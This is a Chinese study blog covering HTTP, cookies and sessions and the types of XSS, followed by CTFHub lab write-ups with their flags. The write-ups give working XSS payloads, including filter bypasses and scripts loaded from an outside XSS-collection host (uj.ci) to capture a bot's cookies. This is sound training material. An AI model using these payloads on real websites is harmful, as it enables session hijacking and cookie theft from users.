前置知识
HTTP请求
- HTTP请求方式:常用的有GET和POST两种方式,还有HEAD、PUT、DELETE、OPTIONS等
- HTTP请求格式:
- 请求方法
- 请求URL
- HTTP协议及版本
- 报文头
- 报文体
- HTTP响应格式:
- HTTP协议及版本
- 状态码及状态码描述
- 响应头
- 响应体
- HTTP特点:
- 请求-响应模式
- 灵活可扩展
- 可靠传输(因为HTTP工作在TCP/IP协议之上)
- 无状态:
- 现实:每次请求都是独立的
- 需求:保持会话(通过Cookie和Session实现)
cookie 和 session
- cookie和session都是用来跟踪浏览器用户身份的会话方式
- cookie的工作方式:
- 浏览器端第一次发送请求到服务器
- 服务器端创建cookie,该cookie中包含用户的信息,通过
Set-Cookie
字段返回给浏览器 - 浏览器端再次发送请求时,会将cookie信息通过
Cookie
字段发送给服务器 - 服务器端通过
Cookie
字段中的信息识别不同的用户 - session的工作方式:
- 浏览器端第一次发送请求到服务器,服务器端创建一个session,同时创建一个特殊的cookie(name为JSESSIONID的固定值,value为session对象的ID),然后将该Cookie发送至浏览器端
- 浏览器再次发送请求到服务器端,会将该Cookie发送给服务器端
- 服务器端根据该Cookie中的sessionID查询对应的session对象,从而识别不同的用户
- cookie和session的对比:
- cookie数据存放在客户的浏览器上,session数据放在服务器上
- cookie不是很安全,别人可以分析存放在本地的COOKIE并进行COOKIE欺骗,如果主要考虑到安全应当使用session
- session会在一定时间内保存在服务器上。当访问增多,会比较占用你服务器的性能,如果主要考虑到减轻服务器性能方面,应当使用COOKIE
- 单个cookie在客户端的限制是3K,就是说一个站点在客户端存放的COOKIE不能3K。
- 所以:将登陆信息等重要信息存放为SESSION;其他信息如果需要保留,可以放在COOKIE中
参考
- Cookie和Session的区别(面试必备)_cookie和session的作用和区别-CSDN博客
- 黑客6小时带你上手web安全攻防、三种漏洞【XSS,CSRF和文件上传】彻底掌握常见web安全漏洞-持续更新中_哔哩哔哩_bilibili
XSS学习
XSS
- XSS(Cross Site Scripting)跨站脚本攻击:恶意攻击者利用web页面的漏洞,插入一些恶意代码,当用户访问到页面的时候,代码就会被执行,从而达到攻击的目的。
- XSS攻击载体:JavaScript、Java、VBScript、Flash、ActiveX等。
- XSS可以分为两类:存储型XSS和反射型XSS
反射型XSS
- 非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。
- 反射型XSS攻击流程:
- 数据流向是: 前端–>后端–>前端
存储型XSS
- 存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,其他用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。
- 存储型XSS攻击流程:
- 数据流向是:前端–>后端–>数据库–>后端–>前端
DOM反射型XSS
- 不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。
- 可能触发DOM型XSS的属性:
1
2
3
4
5document.referer
window.name
location
innerHTML
documen.write - 数据流向是: 前端–>浏览器
参考
- Cookie和Session的区别(面试必备)_cookie和session的作用和区别-CSDN博客
- Web漏洞之XSS(跨站脚本攻击)详解 - 知乎
- XSS安全平台
- 黑客6小时带你上手web安全攻防、三种漏洞【XSS,CSRF和文件上传】彻底掌握常见web安全漏洞-持续更新中_哔哩哔哩_bilibili
WriteUp
反射型
解题过程
- 第一个输入框中输入
<script>alert(1)</script>
,点击提交,页面弹出1
,说明存在XSS漏洞 - 第一个输入框中输入基于XSS安全平台提供的payload:
- 构造url,输入第二个输入框让bot机器触发XSS,XSS平台成功接收到数据
FLAG
1 | ctfhub{3d18622f6ae7760ceab0dda2} |
参考
存储型
解题过程
- 第一个输入框中输入
<script>alert(1)</script>
,点击提交,页面弹出1
,说明存在XSS漏洞 - 查看源码,发现存在
<script>alert(1)</script>
,说明存在存储型XSS漏洞 - 第一个输入框中输入基于XSS安全平台提供的payload,可见恶意代码已经上传到服务器,并且XSS平台也成功接收到数据(此时并不是ctfhub的bot发送的请求,所以没有cookie)
- 第二个输入框中输入当前页面的url,让bot机器触发XSS,XSS平台成功接收到数据
FLAG
1 | ctfhub{444ad0fcba38ed2e9da18d9d} |
参考
DOM反射
解题过程
- 第一个输入框中输入
<script>alert(1)</script>
,点击提交,页面并没有弹出,查看网页源码,发现闭合了: - 换一个payload,输入
<img src=1 onerror=alert(1)>
,点击提交,页面弹出1
,说明存在DOM反射XSS漏洞: - 第一个输入框中也可以输入构造包含script标签的payload,及提前闭合script标签的payload,例如
</script><script>alert(1)</script>
,都可以成功触发XSS漏洞: - 第二个输入框输入基于XSS平台提供的payload构造的url,让bot机器触发XSS,XSS平台成功接收到数据:
FLAG
1 | ctfhub{824bae1b53917ae969fa7d84} |
参考
DOM跳转
解题过程
- 查看网页源码,发现一段javascript代码:
1
2
3
4
5
6<script>
var target = location.search.split("=")
if (target[0].slice(1) == "jumpto") {
location.href = target[1];
}
</script> - 这段代码的作用是:如果url中包含
jumpto
参数,就跳转到jumpto
参数指定的url - 使用javascript伪协议构造payload
?jumpto=javascript:alert(1)
,拼接url并访问,页面弹出1
,说明存在DOM跳转XSS漏洞: - 使用jQuery的
$.getScript()
函数来异步加载并执行来自xss平台的js脚本,构造出来的payload为?jumpto=javascript:$.getScript('//uj.ci/l62')
- 第二个输入框输入构造的url,点击发送,让bot机器触发XSS,XSS平台成功接收到数据:
FLAG
1 | ctfhub{133fda97d6991a94aedc3495} |
参考
- CTFHub XSS DOM跳转 WriteUp_xss dom jumpto ?-CSDN博客
- 珂技系列之一篇就够了——XSS进阶 - FreeBuf网络安全行业门户
- XSS篇——javascript:伪协议_js伪协议-CSDN博客
过滤空格
解题过程
- 第一个输入框中输入
<script>alert('1 1')</script>
,点击提交,弹出框中显示11
,说明空格被过滤了: - 使用
/**/
绕过空格过滤 - 基于XSS平台提供的payload,构造payload为
<sCRiPt/**/sRC=//uj.ci/l62></sCrIpT>
,拼接url - 第二个输入框输入构造的url,点击发送,让bot机器触发XSS,XSS平台成功接收到数据:
FLAG
1 | ctfhub{2f8b7263db5a198dc1179092} |
参考
过滤关键词
解题过程
- 第一个输入框中输入
<script>alert(1)</script>
,点击提交,发现script
关键词被过滤了: - XSS过滤关键词绕过可以使用双写、大小写等方式,例如
<scRipt>alert(1)</scriPt>
,点击提交,发现1
被弹出,说明存在XSS漏洞: - 第二个输入框输入基于XXS平台提供的payload构造的url,让bot机器触发XSS,XSS平台成功接收到数据:
FLAG
1 | ctfhub{6018e7897d2baa06f2a89eaa} |